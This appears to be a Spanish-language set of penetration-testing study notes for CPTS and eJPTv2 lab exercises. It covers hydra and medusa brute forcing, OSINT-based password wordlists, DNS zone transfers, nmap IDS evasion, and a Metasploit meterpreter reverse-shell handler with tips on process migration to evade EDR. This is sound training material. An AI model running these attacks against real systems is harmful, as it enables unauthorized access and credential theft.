hydra -l user/-L WORDLIST -p PASS/-P WORDLIST -f IP -s PORT http-post-form "/login:PARAM1=^USER^&PARAM2:^PASS^:F=Invalid credentials/S=302/S=Dashboard"

F=…: es una condicion de fallo, cuando no se de sera que es autenticacion exitosa

  • Invalid credentials: es un ejemplo que sale cuando la autenticacion no es exitosa (se debe mirar en la pagina web a ver si existe algun texto o algo que se pueda usar)

S=…: es una condicion de exito cuando se de sera que es autenticacion exitosa

  • 302: es sesion exitosa tras redireccion
  • Dashboard o Welcome: son palabras que se suelen poner en la pagina inicial tras la redireccion

Inspeccion manual

En la pagina web donde se encuentra el login form, hacemos CTL+U para ver el codigo HTML y saber los campos que tenemos que poner como parametros:

![[Pasted image 20260708180349.png]]

Vemos metodo POST y nombre de parametros username y password

Luego hacemos click derecho>Inspeccionar y vamos al apartado de red. Enviamos lo que sea en el formulario de login y miramos la solicitud POST que hemos enviado. Ahi podemos revisar los datos del formulario, cabeceras y respuestas del servidor:

![[Pasted image 20260708180644.png]]

Ejemplo practico

  1. Accedemos a la pagina web

![[Pasted image 20260708180741.png]]

  1. Miramos el codigo fuente y vemos los parametros que necesita el form

![[Pasted image 20260708180751.png]]

  1. Probamos a enviar unas credenciales de test mientras vemos en Inspect las solicitudes HTTP que le enviamos a traves de red

![[Pasted image 20260708180816.png]]![[Pasted image 20260708180833.png]]

  1. Dentro de la solicitud POST que enviamos, vamos a Request y ahi vemos los datos que le enviamos con los nombres de los campos y en Response podemos ver que nos devuelve el error Invalid credentials

![[Pasted image 20260708180847.png]]![[Pasted image 20260708180856.png]]

  1. Usamos hydra con los nombres de los parametros y filtrando por el error Invalid credentials

![[Pasted image 20260708182522.png]]![[Pasted image 20260708182538.png]]![[Pasted image 20260708182544.png]]

CPTS

1. Medusa

Herramienta de fuerza bruta masivamente paralela, rapuda y modular

Instalacion

sudo apt install medusa -y

Uso

medusa -h IP -U /RUTA/WORDLIST_USERS -P /RUTA/WORDLIST_PASS -M ssh
  • Parametros
Parámetro Explicación
-h HOST Especifica un único objetivo.
-H FILE Carga lista de objetivos.
-u USER Especifica un único usuario.
-U FILE Carga lista de usuarios.
-p PASS Especifica una única contraseña.
-P FILE Carga lista de contraseñas.
-C FILE Archivo usuario:contraseña por línea.
-M MODULE Selecciona el módulo del servicio.
-m OPTION Opciones específicas del módulo.
-n PORT Utiliza un puerto personalizado.
-t TASKS Número de hilos simultáneos.
-T TIME Tiempo espera entre intentos.
-f Detiene al primer éxito local.
-F Detiene al primer éxito global.
-v LEVEL Aumenta nivel de información mostrada.
-e ns Prueba contraseña vacía y usuario.
-O Intenta continuar tras errores.
-q Reduce información en pantalla.
-w SEC Espera respuesta del servidor.
-V Muestra versión de Medusa.
-d Muestra módulos disponibles.
  • Protocolos:
Módulo Descripción
ftp Transferencia de archivos FTP.
ssh Acceso remoto seguro SSH.
http Autenticación web HTTP.
https Autenticación web HTTPS.
imap Acceso remoto a correo IMAP.
pop3 Recepción de correo POP3.
smtp Envío de correo SMTP.
mysql Base de datos MySQL.
mssql Base de datos Microsoft SQL Server.
postgres Base de datos PostgreSQL.
oracle Base de datos Oracle.
mongodb Base de datos MongoDB.
rdp Escritorio remoto Windows.
vnc Acceso remoto mediante VNC.
telnet Acceso remoto sin cifrado.
svn Repositorios Apache Subversion.
ldap Servicio de directorio LDAP.
smbnt Compartición de archivos Windows.
ncp Servicio Novell NetWare.
pcanywhere Acceso remoto pcAnywhere.
rexec Ejecución remota de comandos.
rlogin Inicio de sesión remoto Unix.
rsh Shell remoto Unix.
web-form Formularios web personalizados.

Atacando multiples servidores

medusa -H LIST_IPS -U /RUTA/WORDLIST_USERS -P /RUTA/WORDLIST_PASS -M http -m GET

Probando contraseñas vacias

medusa -h IP -U /RUTA/WORDLIST_USERS -e ns -M PROTOCOLO

-e n: contraseñas vacias -e s: contraseñas que coincidan con el username

CPTS

2. WEB Services

medusa -h IP -n PORT -u USERNAME -P /RUTA/WORDLIST_PASS -M SERVICIO -t N

-t N: threads

![[Pasted image 20260708185346.png]] ![[Pasted image 20260708185429.png]]

Inicio de sesion en FTP:

ftp ftp://USER:PASS@IP

![[Pasted image 20260708185504.png]]

Ejemplo practico

  1. Hacemos fuerza bruta sobre el ssh del host por el puerto que nos ha dado la maquina

![[Pasted image 20260708190223.png]] ![[Pasted image 20260708190756.png]]

  1. Tras conseguir las credenciales nos conectamos via ssh

![[Pasted image 20260708190231.png]]

  1. Dentro vemos que hay un servicio FTP escuchando

![[Pasted image 20260708190237.png]]

  1. Tras mirar los usuarios realizamos un ataque de fuerza bruta desde el host hacia el localhost y obtenemos las credenciales para conectarnos

![[Pasted image 20260708190556.png]]![[Pasted image 20260708190608.png]]

  1. Nos conectamos y obtenemos la flag

![[Pasted image 20260708190702.png]]

CPTS

1. Wordlists Personalizadas

Username Anarchy

Imagina que conocemos el nombre “Jane Smith” podemos usar usernamearnarchy para hacer combinaciones de usernames

sudo apt install ruby -y
git clone https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy
./username-anarchy Jane Smith > jane_smith_usernames.txt

CUPP

Herramienta para crear listas de palabras altamente presonalizadas. La calidad de la wordlist depende de la profundidad y calidad de info recopilada

Para Jane Smith podriamos recopilar info de:

  • Redes sociales
  • Sitios web
  • Registros publicos
  • Articulos de noticias y blogs

Ejemplo de datos recopilados:

![[Pasted image 20260708194828.png]]

apt install cupp -y
cupp -i

![[Pasted image 20260708194907.png]] ![[Pasted image 20260708194931.png]]

Al pasar todos esos datos hemos creado una lista de usernames para Jane Smith y una lista de crontraseñas

La politica de contraseñas de la empresa es:

  • Longitud minima 6
  • Incluir:
    • Mayuscula
    • Minuscula
    • Numero
    • Caracter especial

Filtramos la lista de credenciales por la politica de contraseñas:

grep -E '^.{6,}$' jane.txt | grep -E '[A-Z]' | grep -E '[a-z]' | grep -E '[0-9]' | grep -E '([!@#$%^&*].*){2,}' > jane-filtered.txt

Usamos hydra o medusa con las wordlist creadas:

hydra -L USERNAME_WORDLIST.txt -P PASS_WORDLIST.txt IP -s PORT -f http-post-form "/:username=^USER^&password=^PASS^:Invalid credentials"

![[Pasted image 20260708195213.png]]

Ejemplo practico

  1. Creamos una lista de usernames

![[Pasted image 20260708195355.png]]

  1. Creamos la lista de passwords con los datos recopilados

![[Pasted image 20260708195631.png]]![[Pasted image 20260708195639.png]]

  1. Miramos e investigamos el POST form de autenticacion

![[Pasted image 20260708195659.png]]![[Pasted image 20260708195707.png]]![[Pasted image 20260708195728.png]]![[Pasted image 20260708195750.png]]

  1. Una vez que sabemos los parametros del POST form usamos hydra con las wordlists creadas

![[Pasted image 20260708195959.png]]

  1. Nos logueamos y obtenemos la flag

![[Pasted image 20260708200029.png]]**![[Pasted image 20260708200034.png]]

CPTS

1. Part 1

Tras realizar esta parte obtendremos el nombre de usuario necesario para iniciar la parte 2

Puede que sean utiles: usernames.txt y passwords.txt

  1. Visitamos el sitio web y vemos que es un sitio web con un Authentication Basic ![[Pasted image 20260708200434.png]]

  2. Realizamos la fuerza bruta sobre el sitio web

![[Pasted image 20260708200602.png]]

  1. Nos logueamos para obtener el usuario para la parte 2

![[Pasted image 20260708200618.png]]![[Pasted image 20260708200625.png]]

CPTS

2. Part 2

Usa el nombre que encontramos en la parte 1: satwossh

  1. Vamos a visitar la pagina web y vemos que no es una pagina web. Al realizar un escaneo del puerto vemos que es un ssh

![[Pasted image 20260708200915.png]] ![[Pasted image 20260708200902.png]]

  1. Usamos hydra, el usuario que habiamos conseguido en la primera parte y la wordlist de passwords de seclist y obtenemos las credenciales para logearnos en el host

![[Pasted image 20260708201043.png]]![[Pasted image 20260708201116.png]]

  1. Dentro vemos 3 archivos (una nota importante, una wordlists de passwords y Usernarchy). Al leer la nota importante vemos que el usuario Thomas Smith se habia logueado via ftp y subido archivos potencialmente maliciosos

![[Pasted image 20260708201216.png]]

  1. Miramos si realmente esta el FTP activado en el host. Tras esto creamos una wordlists de usernames para el usuario y usamos el archivo de passwords para hacer fuerza bruta con medusa sobre FTP

![[Pasted image 20260708201242.png]]![[Pasted image 20260708201400.png]]![[Pasted image 20260708201518.png]]![[Pasted image 20260708201540.png]]

  1. Conseguimos la credencial, nos logueamos y obtenemos la flag

![[Pasted image 20260708201652.png]]

eJPTv2

1. Host

host <DOMAIN>

Se suele usar junto con whois
Es un comando que resuelve DNS. Si nos da 2 IPs lo mas probable es que este detras de Cloudflare o algun servicio por el estilo
Ademas nos puede dar mas informacion como los mail servers

![[Pasted image 20260316195145.png]]

EJEMPLO JUNTO CON WHOIS ![[Pasted image 20260316200045.png]]

eJPTv2

2. Robots.txt

http://<IP>/robots.txt

Este es un directorio que indica al navegador que directorios o recursos no deben ser indexados. Puede tener dos entradas: - Disallow: no indexa estos directorios - Allow: si los indexa

![[Pasted image 20260316195407.png]]

eJPTv2

3. Sitemap.xml

http://<IP>/sitemap.xml

Un archivo que provee a los navegadores una forma optimizada de indexar la website

![[Pasted image 20260316195549.png]]

En nuestro caso tenemos: - /post-sitemap.xml - /page-sitemap.xml - /category-sitemap.xml

eJPTv2

4. Whatweb Y Wappalyzer

Whatweb

whatweb <URL>

nos dice tambien las tecnologias, lenguajes...

![[Pasted image 20260316195740.png]]

Wappalyzer

Wappalyzer: es una extension que nos dice las tecnologias que usa la website

![[Pasted image 20260316195659.png]]

eJPTv2

5. Whois

whois <DOMAIN>

Se suele usar junto con host 
Whois es un protocolo de Internet que se usa para preguntar a las BBDD: nombre del dominio, IPs, sistemas...

![[Pasted image 20260316195915.png]]

Informacion que nos ha dado: - Nombre del dominio - Servidor whois - Registrar URL - Dia de ultima actualizacion, creacion y expiracion - Registrar organization - Email y phone Abuse - Name servers: detras de cloudflare - DNSSEC: unsigned

EJEMPLO CON HOST

![[Pasted image 20260316200019.png]]

eJPTv2

6. Dnsrecon Y Dnsdumpster

Dnsrecon

dnsrecon -d <DOMAIN>

Herrmienta de python que nos permite verificar los DNS records de la zona de transferencia o los generales

![[Pasted image 20260316200213.png]]

Dnsdumpster

https://dnsdumpster.com/

Lo mimso que dnsrecon pero en una web y con mas detalle
  • Nos dice donde se situan los sistemas ![[Pasted image 20260316200309.png]]

  • Nos dice subdominios (Registros A), servidores mail (Registros MX) y nameservers (Registros NS)

![[Pasted image 20260316200322.png]]

  • Registros TXT

![[Pasted image 20260316200336.png]]

  • Grafico descriptivo y visual

![[Pasted image 20260316200350.png]]

Estamos viendo que tenemos:

  • Un subdominio y dos servidores DNS dentro de cloudflare
  • Mientras que el servidor de mail esta dentro de namecheap-net

eJPTv2

7. Wafw00f

Esta herramienta sirve para ver si una web tiene un WAF

Como lo hace: Envia un HTTP request y analiza la respuesta, lo compara con una lista de WAFs que tiene Si no funciona, envia un num de HTTP Request y usa logica y deduce si tiene un WAF Si tampoco funciona, analiza las respuestas y usa otra algoritmo simple para identificar si hay un WAF u otra solucion de seguridad activada

Usos

Comandos Explicacion
wafw00f -l Muestra lista de los WAF y proxies que conoce
wafw00f <DOMAIN> Muestra el WAF de la aplicacion
wafw00f -a <DOMAIN> Muestra el WAF de la aplicacion y mas info

wafw00f -l

Muestra una lista de los WAF y proxies que conoce

![[Pasted image 20260316200504.png]]

wafw00f <DOMAIN> Muestra - The site “nombre” is behind a WAF o proxy - No WAF o proxy detected

![[Pasted image 20260316200544.png]]

wafw00f -a <DOMAIN>

![[Pasted image 20260316200605.png]]

eJPTv2

8. Sublist3r

sublist3r -d <DOMAIN>

No es con fuerza bruta por lo que no es activo. Usa motores de busqueda publicos y herramientas como Netcraft, Virustotal… para encontrar subdominio que puedan ser indexados Descubre subdominios mediante OSINT

Tiene integrado subbrute para poder hacer ataques de fuerza bruta

Parametros

WORDLIST : /usr/share/wordlist/dirb/common.txt
Parametros Explicacion
-d Dominio
-b Fuerza bruta
-p Puerto
-v Verbose
-t Threads de ataque de fuerza bruta
-e Motores de busqueda separados por comandos
-o Output file
-h Help
![[Pasted image 20260316214915.png]]

eJPTv2

9. Google Dorks

https://www.exploit-db.com/google-hacking-database?category=11

Muchas empresas dejan informacion expuesta en Google de forma publica sin saberlo

Ejemplos rapidos

Dork Explicacion
site : domain o site : *.domain Todos los resultados seran de ese dominio y sus subdominios
inurl : algo (palabras: admin, forum…) Busa resultados donde la url contenga esas palabras
intitle : algo (palabras: admin, forum…) Lo mismo que en inurl pero con el titulo
intitle : index of Directorios que tienen listados de archivos
filetype : (pdf, docs…) Busca archivos con esas extensiones
cache : domain Como usar WayBackMachine
Ejemplos:
  • site : domain employees
  • site : *.domain filetype : pdf CRM

Busqueda

Es una pagina web que contiene ejemplos de Google Dorks que pueden sernos utiles

![[Pasted image 20260316200948.png]]

Se puede filtrar por ejemplo para Google Dorks que nos muestren Archivos con Passwords:

![[Pasted image 20260316201005.png]]

eJPTv2

10. Theharvester

theHarvester -d <DOMAIN> -b <SOURCE1,SOURCE2,SOURCE3…>

Enumerar emails de un dominio especifico
TheHarvester es parecido a sublist3r ya que busca en motores de busqueda y BBDD pùblicas pero para encontrar emails likeados

Las fuentes se ven en el help

Mas parametros

Parametros Explicacion
-d domain Especificar dominio
-l limit Limitar el numero de busquedas (Default=500)
-p Usar proxies (estan en proxies.yaml)
-s Usar Shodan
-v Verbose
-e DNS_Server Cambiar servidor DNS
-r DNS_Resolve Hacer una resolucion DNS de los subdominios con una lista de resolvers
-n Habilitar busqueda DNS
-c DNS brute force al subdominio
-b source Elegir la fuente, hay una lista
-h Ayuda

Ejemplo

![[Pasted image 20260316201244.png]]![[Pasted image 20260316201255.png]]![[Pasted image 20260316201306.png]]

*Los ASNS son identificadores únicos que se asignan a un Sistema Autónomo en Internet.

Un Sistema Autonomo es una red grande (o conjunto de redes) que: - pertenece a una organización - tiene una política de enrutamiento propia - se anuncia a Internet usando BGP

Ejemplos: - un ISP (Movistar, Orange) - una empresa grande (Google, Cloudflare) - un proveedor cloud (AWS, Azure)

eJPTv2

11. Haveibeenpwned

https://haveibeenpwned.com/

Es un sitio web que mira en bases de datos si los moviles, emails... han sido likeados

Si encontramos un email antes podemos meterlo y podriamos ver si el credenial ha sido leakeado y hacer un password spray para ver si podemos entrar en Facebook, Insta..

![[Pasted image 20260316201447.png]]

eJPTv2

1. Etc Hosts

<cat | nano> /etc/hosts

Contiene una lista de los hostnames y sus IPs a modo de un mini DNS server local (aunque no es exactamente asi). Con esto se soluciona el problema de no encontrar un dominio automaticamente, solo tendriamos que poner el nombre del dominio y su IP

Ejemplo rapido

La 192.168.0.1 es para acceder al panel de control del router

![[Pasted image 20260316201916.png]]

Si añadimos esta linea en /etc/hosts:

![[Pasted image 20260316201930.png]]

Ahora podemos poner en el navegador (hay que poner el https://):

![[Pasted image 20260316201943.png]]

eJPTv2

2. Dnsdumpster.com, Dnsrecon Y Dnsenum

DNS Records y DNS transfer

Registro Explicacion
A IPv4 del dominio si no esta protegido por un proxy o WAF
AAAA IPv6
NS nameserver. Nombre del DNS server autoritario
MX mailserver
CNAME alias del dominio
HINFO informacion del host (hw y SO)
SOA sautoridad en una zona DNS, coordina las transferencias de zona
SRV service record. Ubicacion de servicios como: servidor, puerto…
PTR resuelve IP - domain server
TXT texto

Zone transfer: es la accion de traspaso de archivos de zona o zone files entre servidores DNS. Estos contienen registros de dominios

Si esta mal configurado o inseguro esto puede ser abusado copiando zone files de un DNS server a otro. Esto nos podria dar informacion corporativa

Dnsrecon

dnsrecon -d <DOMAIN>

Herrmienta de python que nos permite verificar los DNS records de la zona de transferencia o los generales

![[Pasted image 20260316200213.png]]

Dnsenum

dnsenum <DOMAIN>

Esta herramienta hace DNS recon de forma activa
Esto nos dara registros y ademas hara una Zone Transfer y Fuerza bruta de forma automatica

Wordlist DNS Records: /usr/share/dnsenum/dns.txt

![[Pasted image 20260316202202.png]]![[Pasted image 20260316202220.png]]

Dnsdumpster

https://dnsdumpster.com/

Lo mimso que dnsrecon pero en una web y con mas detalle
  • Nos dice donde se situan los sistemas ![[Pasted image 20260316200309.png]]

  • Nos dice subdominios (Registros A), servidores mail (Registros MX) y nameservers (Registros NS)

![[Pasted image 20260316200322.png]]

  • Registros TXT

![[Pasted image 20260316200336.png]]

  • Grafico descriptivo y visual

![[Pasted image 20260316200350.png]]

Estamos viendo que tenemos:

  • Un subdominio y dos servidores DNS dentro de cloudflare
  • Mientras que el servidor de mail esta dentro de namecheap-net

eJPTv2

3. Dig

Usos

Comandos Explicacion
dig <DOMAIN> Interrogacion de dominio, nos dara DNS Records como A
dig axfr @<NS_NAME> <DOMAIN> Realiza un zone transfer
El NS lo conseguimos con dnsenum anteriormente

Zone transfer: es la accion de traspaso de archivos de zona o zone files entre servidores DNS. Estos contienen registros de dominios

Si esta mal configurado o inseguro esto puede ser abusado copiando zone files de un DNS server a otro. Esto nos podria dar informacion corporativa

Ejemplos

dig <DOMAIN>

![[Pasted image 20260316202504.png]]

dig axfr @<NS_NAME> <DOMAIN>

El NS lo conseguimos con dnsenum anteriormente

![[Pasted image 20260316202517.png]]

eJPTv2

4. Fierce

Es parecido a dnsenum solo que los deja en formato lista y si queremos hacer fuerza bruta tenemos que especificarlo con un parametro

Usos

Comandos Explicacion
fierce –domain <DOMAIN> Saca DNS Records
fierce –domain <DOMAIN> –subdomain-file /usr/share/dnsenum/dns.txt Realiza fuerza bruta

Wordlist DNS Records

WORDLIST : /usr/share/dnsenum/dns.txt

eJPTv2

5. Nmap (host Discovey Y Port Scanning)

(sudo) nmap <-PARAMETROS> <IP> <-o(SALIDA)> <ARCHIVO_SALIDA>

***-sS necesita sudo***

Parametros Host Discovery

nmap -sn <IP | IP_red/mascara>

Realiza ping sweep para ver si el host destino esta levantado

Parametros PortScanning

Parametro Explicacion
Sin parametros Hace un SYN scan de los 1000 puertos mas usados
-Pn Omite la verificacion ping del principio por si el sistema la deniega
-p- Escanea todos los 65.535 puertos
-p N o N,N o N-N Escanea un puerto especifico, puertos especificos o un rango de puertos
-F Escanea los 100 puertos mas usados
-sU Escanea puertos UDP
-sV Escanea en busca de las versiones especificas de los puertos encontrados
-sC Escanea y usa scripts .nse para obtener mas informacion de los puertos
-O Intenta averiguar el SO del host
-A Escaneo agresivo que es como juntar (-sV -sC -O)
-T 0-5 o palabras Velocidad del escaneo. Las palabras son (paranoid, sneaky, normal, aggresive, insane)
-o(N,X,G,A) archivo Guara el resultado en un archivo con formato (.nmap, .xml, grepeable o todos)
Para MSF .xml -oX
-sS Escaneo silencioso ya que no termina el 3 way handshake (necesita sudo)
-sT Escaneo normal ya que termina el 3 way handshake

eJPTv2

6. Netdiscover (host Discovering)

netdiscover -i <INTERFAZ> -r <IP_RED/MASCARA>

envia ARP resquest (resuelve MAC en IP y al reves)

![[Pasted image 20260316204150.png]]

eJPTv2

7. Gobuster

Visto en: [[13. Gobuster]]

eJPTv2

8. Httrack

httrack http://target.com

Que hace httrack:

  • analiza la página principal
  • sigue todos los enlaces internos
  • descarga cada recurso
  • crea una copia navegable offline

![[Pasted image 20260316204626.png]]![[Pasted image 20260316204635.png]]

eJPTv2

Indice Comandos

PUERTOS QUE APAREZCAN CON ? conectarse con [[7. Netcat|netcat]] por si acaso son shells

PASSIVE

  1. [[1. Host |Host]]
  2. [[2. robots.txt|/robots.txt]]
  3. [[3. sitemap.xml|/sitemap.xml]]
  4. [[4. Whatweb y Wappalyzer|whatweb o wappalyzer]]
  5. [[5. Whois|whois]]
  6. [[6. Dnsrecon y dnsdumpster|dnsrecon]]
  7. [[6. Dnsrecon y dnsdumpster|dnsdumpster.com]]
  8. [[7. Wafw00f|wafw00f]]
  9. [[8. Sublist3r|sublist3r]]
  10. [[9. Google Dorks|Google Dorks]]
  11. [[10. theHarvester|theHarvester]]
  12. [[11. HaveIBeenPwned|HaveIBeenPwned]]

ACTIVE

  1. [[1. etc-hosts|/etc/hosts]]
  2. [[2. dnsdumpster.com, dnsrecon y dnsenum|dnsdumpster.com]]
  3. [[2. dnsdumpster.com, dnsrecon y dnsenum|dnsrecon]]
  4. [[2. dnsdumpster.com, dnsrecon y dnsenum|dnsenum]]
  5. [[3. dig|dig]]
  6. [[4. fierce|fierce]]
  7. [[5. nmap (Host Discovey y Port Scanning)|nmap (Host Discovey/Port Scanning)]]
  8. [[6. netdiscover (Host Discovering)|netdiscover]]
  9. [[7. gobuster|gobuster]]
  10. [[8. httrack|httrack]]

eJPTv2

1. Ping Y Fping

Ping

ping <IP | IP_RED/MASCARA>

La idea es hacer Pings (ICMP Echo Requests) a un rango IP y observar respuesta para ver si esta vivo
*Los hosts Windows bloquean este trafico por defecto*

USOS

Ejemplo Explicacion
ping IP o domain Realiza un ping a ese objetivo en concreto
ping IP_red/mascara Realiza un ping a toda la subred
ping -b IP_red Realiza un ping a toda la subred
ping -c N IP Envia un numero de paquetes especificado (N) en Linux
ping -n N IP Envia un numero de paquetes especificado (N) en Windows

Fping

Ejemplo Explicacion
fping -a/–active -g IP_red/mascara Escanea toda la red en busca de host activos en la red
fping -a/–active -g IP-IP Escanea toda la red en busca de hosts activos en el rango que se le marque
fping -a IP Como el ping normal

-g: sirve para generar una lista de hosts si se escanea mas de uno

eJPTv2

2. Nmap (host Discovering Y Port Scanning)

Visto en: [[5. nmap (Host Discovey y Port Scanning)]]

eJPTv2

3. Nse Nmap

Son scripts de nmap para automatizar ciertas funcionalidades o procesos durante el escaneo

Para buscar los scripts:

Comando Explicacion
ls -la /usr/share/nmap/scripts Muestra todos
ls -la /usr/share/nmap/scripts | grep -e “ftp*” Busca todos los de ftp

Parametros NSE

Parametro Explicacion
-sC Usa una lista de los scripts mas usados de nmap (Junto con -sV = -sCV)
–script = nombre/categoria/regex(ftp*) Para especificar scripts que queremos usar por nombre/categoria (discovery, vuln…)/regex (ftp*)
–script-help = nombre/regex Para ver lo que hace el script, su categoria o SI NECESITA PARAMETROS ADICIONALES
PARA VER LOS PARAMETROS QUE NECESITA NOS METEMOS EN LA URL DE NMAP SACADA DEL –script-help
–script-args nombre_argumento=valor, nombre_argumento=valor… Especificar los parametros que necesita un script

eJPTv2

4. Firewall Detection E Ids Evasion Nmap

Detectar Firewall

nmap -sA <IP>

Nos dira si esta filtered (firewall) o no (no firewall)

Con el ACK Scan (el cual envia un paquete ACK inesperado al objetivo), podemos ver realmente que puertos estan abietos y si hay un firewall

EJEMPLO PRACTICO:

  1. Host Discovery –> nmap -sn IP
  2. Port Scanning –> nmap -Pn -sS -F IP
    • Nos salen puertos = closed
  3. Usamos ACK –> nmap -Pn -sA -F IP
    • Nos dira los filtered y no filtered

Evitar IDS

Comandos Explicacion
-f fragmentacion de paquetes
–mtu N (multiplos de 4) Tamano max de los paquetes fragmentados
-D <IP | IP,IP | IP-IP> Spoofing o decoy de IPs
–ttl N Aumentar el TTL por si el paquete se pierde o tiene que dar mas saltos dentro de la red
–data-lenght N Sirve para aumentar el tamaño del paquete con informacion basura para hacerlo mas dificil de detectar que el tamaño default y hacerlo ver como trafico normal
-g PUERTO Elegir el puerto origen

EXPLICACIONES

  1. Fragmentacion de paquetes: ya que viendo un solo paquete no sabra exactamente que esta pasando y se reensamblan en el destino
Parametro Ejemplo
-f nmap -Pn -sS -sV -F -f IP

En Fragment ID protocol (sucede en capa 3), veremos el Fragmetn Offset = 0, el siguiente sera 8, 16…

  1. MTU: Unidad Maxima Transmitida. Tamaño maximo de los paquetes fragmentados
Parametro Ejemplo
–mtu N (multiplos de 4) nmap -Pn -sS -F -f –mtu 8 IP
  1. Spoofing IP o Decoy IP: suplantar nuestra IP haciendola pasar por otra Se puede usar la del gateway
Parametro Ejemplo
-D IP/IP,IP/IP-IP nmap -Pn -sSVC -pN,N -f -D 10.10.10.1,10.10.10.2

Otros parametros que podrian ser utiles

Parametro Explicacion
–ttl N Aumentar el TTL por si el paquete se pierde o tiene que dar mas saltos dentro de la red
–data-lenght N Sirve para aumentar el tamaño del paquete con informacion basura para hacerlo mas dificil de detectar que el tamaño default y hacerlo ver como trafico normal
-g PUERTO Elegir el puerto origen

eJPTv2

5. Nmap + MSF Resultados

Comandos

Comandos
nmap … -oX archivo.xml
service postgresql start && msfconsole
db_status
db_import archivo.xml

COMANDOS DENTRO DE MSF

Comandos Explicacion
hosts Muestra todos los hosts encontrados en el escaneo
hosts -v Informacion detallada de los hosts
hosts -c address, os_name_os_flavor,info Elegir las colunmas concretas
services Ver los servicios extraidos
services -p N –rhosts Sirve para ver solo las IPs con esos puertos. Util para lanzar modulos a esos puertos especificos
servivces -p N -R Completa el campo RHOSTS de las OPTIONS con las IPs que contengan esos puertos
getg RHOSTS, unsetg RHOSTS Con el comando anterior hemos puesto RHOSTS como variable global a las IPs con esos puertos. Con estos comandos vemos la variable global RHOST si existe y la vaciamos
creds Muestra todas las credenciales encontradas
creds -p PUERTO/admin(nombre o patron) Muestra las credenciales filtradas por lo que se le pase ya sea un puerto o un nombre de usaurio…
notes Guarda las notas de los NSE y Metasploit
notes -R IP Ver notas de un host
vulns Ver vulnerabilidades encontradas
loot Evidencias que ha encontrado metasploit (passwords, config.xml…)
routes Rutas y poviting si existen

eJPTv2

1. Banner Grabbing

Con Nmap

nmap -Pn -sS -sV -O -T4 IP Encontramos un solo puerto, SSH version OpenSSH 7.2p2 en un Ubuntu 4ubuntu2.6 y protocolo 2.0
ls -la /usr/share/nmap/scripts | grep banner Con este script podemos ver que servicio y version esta corriendo en ese puerto en particular si es obetenible
nmap -Pn -sS -sV –script=banner -T4 IP Vemos lo mismo que hemos obtenido antes.
Suele ser muy util cuando no somos capaces de identificar un servicio por -sV

Con Netcat

nc IP PUERTO -v Nos da el mismo banner que nmap
Es util cuando con el script de nmap no nos da informacion valida
-v: verbose mode

Iniciando session en el protocolo

Aunque no tengamos las creds puede salir algo

ssh USER@IP Probamos un user comun como root y a veces nos suele dar un mensaje de bienvenida con la version y algo de info. En ssh es mas raro pero Telnet y otros suele ser mas normal

eJPTv2

Indice Comandos

  1. Host Discovery y Port Scanning

    1. Wireshark
    2. [[1. Ping y fping|Ping (Host Discovery)]]
    3. [[1. Ping y fping|Fping (Host Discovery)]]
    4. [[5. nmap (Host Discovey y Port Scanning)|Nmap (Host Discovery/Port Scanning)]]
    5. [[3. NSE Nmap|NSE Nmap]]
    6. [[4. Firewall Detection e IDS Evasion Nmap|Firewall Detection e IDS Evasion Nmap]]
    7. [[5. Nmap + MSF resultados|Nmap + MSF resultados]]
  2. Banner Grabbing

    1. [[1. Banner Grabbing|Banner Grabbing]]

PASOS DE ESTA FASE

  1. Host Discovery:

ifconfig: ver nuestra interfaz, IP y mascara nmap -sn OPCIONES IP_red/mascara

  1. Port Scanning:

nmap -Pn -s(S,U,T…) OPCIONES IP ,

eJPTv2

1. MSF Enum Generico

Generico

Paso Explicacion
service postgresql start Iniciamos la bbdd de msf
msfconsole Iniciamos msfconsole
workspace -a NOMBRE Creamos un workspace para ese servicio
search type:auxiliary name:NOMBRE_PROTCOLO Buscamos los modulos auxiliares que nos ayudaran a la enumeracion
setg RHOST IP/hostname
setg RHOSTS IP/hostname

(unsetg)
Ponemos como variables globales la IP/hostname para que no tengamos que ponerlo constantemente
use X/NOMBRE_MODULO Elegimos el modulo
show options Vemos las opciones que hay que configurar en cada modulo
set NOMBRE_OPTION VALOR Ponemos valor a las que necesitemos
run Corremos el modulo

COMANDOS UTILESmsf

Comando Explicacion
unset OPTION Eliminar valor de una opcion
services Muestra los servicios encontrados
vulns Ver vulnerabilidades
loot Ver info critica recogida
back Volver pero sin salir de metasploit. Puedes salirte de un modulo por ejemplo
search portscan Para buscar tipos de escaneo para encontrar los puertos y servicios que estan corriendo
connect IP PUERTO Como netcat nos dara el banner, se conecta a ese puerto
workspace [-d,-a] NOMBRE
run /post/windows/manage/migrate Para migrar a otro proceso. Esto tiene varias razones:

- Estabilidad de la sesion: si cierra el programa el usuario del objetivo perdemos la sesion o si era un proceso temporal igual
- La mayoria de EDR/AVs detectan el primer proceso ya que se realiza desde uno sospechoso. Migrar a uno legitimo permite camuflarte y reducir alertas
- Escalar privs al migrar a un proceso que corre como NT AUTHORITY\SYSTEM
- Acceder a recursos del usuario. Si hemos accedido desde un servicio puede que no tengamos sesion interactiva pero si migramos a un explorer.exe por ejemplo la tendremos
- El proceso inicial puede tener argumentos maliciosos, memoria marcada… migrar y dejar morir el proceso limpia muchas evidencias y evita rastreos del exploit

search type:[auxiliary,exploit] cve:[AÑO] plataform:[windows,linux] name:[NOMBRE]

Automatizacion

Crear scripts en .rb para automatizar comandos MSF. Es simplemente poner los comandos uno detras de otro y luego usar msfconsole -r NOMBRE.rb

Comandos Explicacion
ls -ls /usr/share/metasploit-framework/scripts/resource/ Scripts que vienen prepackaged
vim /usr/share/metasploit-framework/scripts/resource/auto_brute.rc

Ejemplo creando un multi/handler

nano handlre.rc
use multi/hanlder
set payload windows/meterpreter/reverse_tcp
set lhost IP
set lport N
run
msfconolse -r handler.rc Se iniciara el msf y luego se ejecutara el script

Ejemplo portscan.rc

nano portscan.rc
use auxiliary/scanner/portscan/tcp
set rhost IP
run
msfconolse -r portscan.rc Se iniciara el msf y luego se ejecutara el script

Tambien se pueden ejecutar directamente dentro de MSF

resource /ruta/portscan.rc Se ejecutara el script

Podemos crear un scritp con los comandos realizados previamente

msfconsole -q
use auxiliary/scanner/portscan/tcp
set rhost IP
run
makerc /ruta/archivo.rc Se creara un script en la ruta con los comandos realizados

eJPTv2

1. Interaccion

Comando Explicacion
ftp IP Para loggearnos en el servicio (nos pedira USERNAME/PASSWORD)
COMANDOS INTERNOS
ls Listar
get /archivo Descargar un archivo a nuestro host local
put /archivo Subir un archivo al host ftp
pwd Ver directorio en el que nos encontramos
exit Salir de ftp

eJPTv2

2. MSF Enum

[[1. MSF Enum Generico]]

Modulos

Auxiliares

search type:auxiliary name:ftp

Modulo Explicacion OPTIONS IMPORTANTES
